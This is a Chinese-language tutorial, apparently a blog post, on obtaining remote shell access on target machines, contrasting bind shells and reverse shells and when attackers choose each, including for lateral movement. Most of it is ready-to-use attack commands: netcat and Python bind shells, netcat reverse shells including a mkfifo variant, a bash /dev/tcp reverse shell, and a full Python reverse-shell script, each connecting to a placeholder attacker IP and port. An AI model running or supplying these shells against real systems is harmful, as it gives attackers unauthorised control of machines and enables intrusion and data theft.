文章目录
1. 简介
远程访问shell分为两种类型:
- 反弹shell:反弹 shell 是指目标机器主动发起 TCP 连接,将其 shell 输出和输入反向传递到攻击者控制的远程机器上。即目标机器向攻击者的机器发起连接,从而允许攻击者控制目标系统。
- 适用场景:
- 目标机器位于防火墙和NAT后面:外部无法直接访问目标机器的端口。
- 防火墙设置限制:目标机器防火墙限制端口开放、阻止外部连接进行连接情况。
- 目标机器权限受限:目标机器上可能无法打开监听端口(例如没有 root 权限),但可以通过反弹 shell 发起出站连接。
- 适用场景:
- 正向shell: 正向 shell(bind shell)是指目标机器在特定端口上打开一个监听服务,攻击者可以通过连接这个端口获得 shell 控制。即目标机器监听端口,攻击者向该端口发起连接。
- 适用场景:
- 目标机器允许监听端口,不处于防火墙或NAT后面
- 内网中横向移动:在内网渗透中,正向 shell 有时被用于从一台已被攻陷的机器(目标)向同一网络中的其他机器发起攻击,并获得 shell 访问。
- 攻击者的机器受到网络或防火墙限制: 如果攻击者的网络有严格的防火墙策略,不允许接收来自目标机器的连接,那么正向 shell 更加合适,因为攻击者可以主动连接到目标的监听端口。
- 适用场景:
2. 正向shell实现
2.1 NetCat
nc -lvp 4444 - e/bin/bash
命令解释:
lvp 4444
: l 表示开启监听模式,v 显示详细信息, p 指定监听端口-e /bin/bash
: 指定连接建立,指定要执行的命令为/bin/bash
,将shell提供给连接的攻击者。
2.2 python实现
一般Linux系统都会预装python环境。
python -c 'import socket,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.bind(("0.0.0.0", 4444)); s.listen(1); conn, addr = s.accept(); os.dup2(conn.fileno(),0); os.dup2(conn.fileno(),1); os.dup2(conn.fileno(),2); os.system("/bin/bash")'
2.3 利用: 攻击者机器进行连接
nc ip port
3. 反向shell
3.1 利用: 攻击者机器开启监听,等待连接
# 主动等待连接
nc -lvp 4444
3.2 nc实现
nc -e /bin/sh 攻击者ip 攻击者port
# 如果nc不支持-e参数时
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 你的IP地址 端口号 > /tmp/f
命令解释:
-e /bin/bash
:代表执行/bin/bash程序,并将命令的输入、输出、错误重定向到建立的网络连接。- ip, port: 指定要连接的目标地址。
3.3 bash实现
bash -i >& /dev/tcp/你的IP地址/端口号 0>&1
解释:
bash -i
:启动bash
并适用交互模式。这个模式下,bash将以一种能够与用户进行交互的方式运行。>& /dev/tcp/你的IP地址/端口号
: 通过/dev/tcp进行TCP连接,通过它用远程主机发起网络连接。这意味着所有输出都会发送到这个远程主机的指定端口。0>&1
: 表示将标准输入(0 表示 stdin)重定向到标准输出(1 表示 stdout),使得来自远程主机的输入可以通过该连接进入目标机器的 bash shell。这相当于让远程主机的输入被目标机器的 shell 处理,从而实现远程命令执行。
3.4 python实现
# coding: utf-8
import socket
import subprocess
import os
# 攻击者的IP和端口
attacker_ip = '攻击者IP'
attacker_port = 攻击者端口
# 创建一个socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接到攻击者的IP和端口
s.connect((attacker_ip, attacker_port))
# 重定向标准输入、输出和错误流到 socket
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
# 启动一个交互式的 shell
subprocess.call(['/bin/sh', '-i'])